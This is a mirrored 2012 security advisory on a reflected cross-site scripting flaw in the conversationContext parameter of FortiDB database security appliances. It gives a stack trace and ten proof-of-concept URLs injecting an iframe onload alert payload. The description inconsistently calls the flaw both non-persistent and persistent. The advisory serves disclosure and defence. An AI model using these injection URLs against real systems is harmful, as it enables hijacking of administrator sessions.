Lucene search
K

FortiGate FortiDB 2kB 1kC / 400B Cross Site Scripting

🗓️ 31 Oct 2012 00:00:00Reported by n/aType 
zdt
 zdt
🔗 0day.today👁 35 Views

FortiDB database security appliances vulnerable to non-persistent cross site scripting in Java Number Format Exception Handling

Code
FortiGate FortiDB 2kB 1kC & 400B - Cross Site Vulnerability

Introduction:
=============
Targeting large enterprises the FortiDB-2000B appliance provides scalable database security and 
compliance solution. Utilizing its flexible policy framework, the FortiDB-2000B allows quick and 
easy implementation of internal IT control frameworks for database activity monitoring (DAM/DAA), 
IT audit, and regulatory compliance.

Designed for mid-sized enterprises, the FortiDB-1000C appliance provides a comprehensive database 
security and compliance solution. Through its web-based interface, the FortiDB-1000C centrally 
monitors, audits and scans multiple distributed, heterogeneous databases. This ensures consistent 
database security policies across the organization without imposing high management burdens on your 
database admin and IT staff. 

The FortiDB-400B appliance provides a cost effective database security and compliance solution for 
small to mid-size enterprises in a quick to implement, easy to manage package. It scans databases 
for vulnerabilities, monitors, and audits databases activities, and generates compliance reports. 
Its intuitive web-based interface ensures ease of configuration, minimizing the management burden 
on your database administrators and IT staff.

(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortidb )


Cross Site Scripting Vulnerability in FortiGates FortiDB 2kB 1kC & 400B.

Affected Products:
==================
Fortigate
Product: FortiDB  - Database Security Appliance v2000B; 1000C & 400B

Details:
========
A non-persistent input validation vulnerability is detected in FortiGates FortiDB Appliance 2000B 1000C & 400B. 
The vulnerability allows remote attackers to implement/inject malicious script code on the application side (persistent). 
The vulnerability is located in the Java Number Format Exception Handling module with the bound vulnerable output listing. 
The bug is on application side & the execution is non-persistent out of the object exception-handling web application 
appliance context. Exploitation requires low or medium user inter action. Successful exploitation of the vulnerability can 
lead to session hijacking (manager/admin) or stable (persistent) context manipulation. 

Vulnerable Module(s):
        [+] Java Number Format Exception Handling

Affected Function(s):
        [+] (Output) Listing


Proof of Concept:
=================
The vulnerability can be exploited by remote attacker with medium or high required user inter action. For demonstration or reproduce ...

Review:  Java Number Format Exception-Handling - Listing [Output] Error

<pre class="errorExceptionCause">java.lang.NumberFormatException: 
For input string: ""><[NON PERSISTENT SCRIPT CODE!]")' <"="" at="" java.lang.numberformatexception.
forinputstring(numberformatexception.java:48)="" java.lang.long.parselong(long.java:410)="" 
org.apache.myfaces.orchestra.conversation.conversationmanager.findconversationcontextid(conversationmanager.java:157)="" 
org.apache.myfaces.orchestra.conversation.conversationmanager.getcurrentrootconversationcontext(conversationmanager.java:564)="" 
org.apache.myfaces.orchestra.lib.jsf.contextlockrequesthandler.init(contextlockrequesthandler.java:87)="" 
org.apache.myfaces.orchestra.lib.jsf.orchestrafacescontextfactory$1.<init="">
(OrchestraFacesContextFactory.java:119)
at  ...


PoC:
http://utm-waf.127.0.0.1:1339/fortidb/admin/auditTrail.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/targetsMonitorView.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/vascan/globalsummary.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/vaerrorlog/vaErrorLog.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/database/listTargetGroups.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/sysconfig/listSystemInfo.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/vascan/list.jsf?conversationContext=1%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/network/router.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/editPolicyProfile.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/maPolicyMasterList.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C


Solution:
=========
The vulnerability can be prevented by parsing the java number format exception output listing & mkey application value.

2012-10-24:  Vendor Fix/Patch


Risk:
=====
The security risk of the non-persistent cross site scripting vulnerability is estimated as medium(-).

#  0day.today [2018-01-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation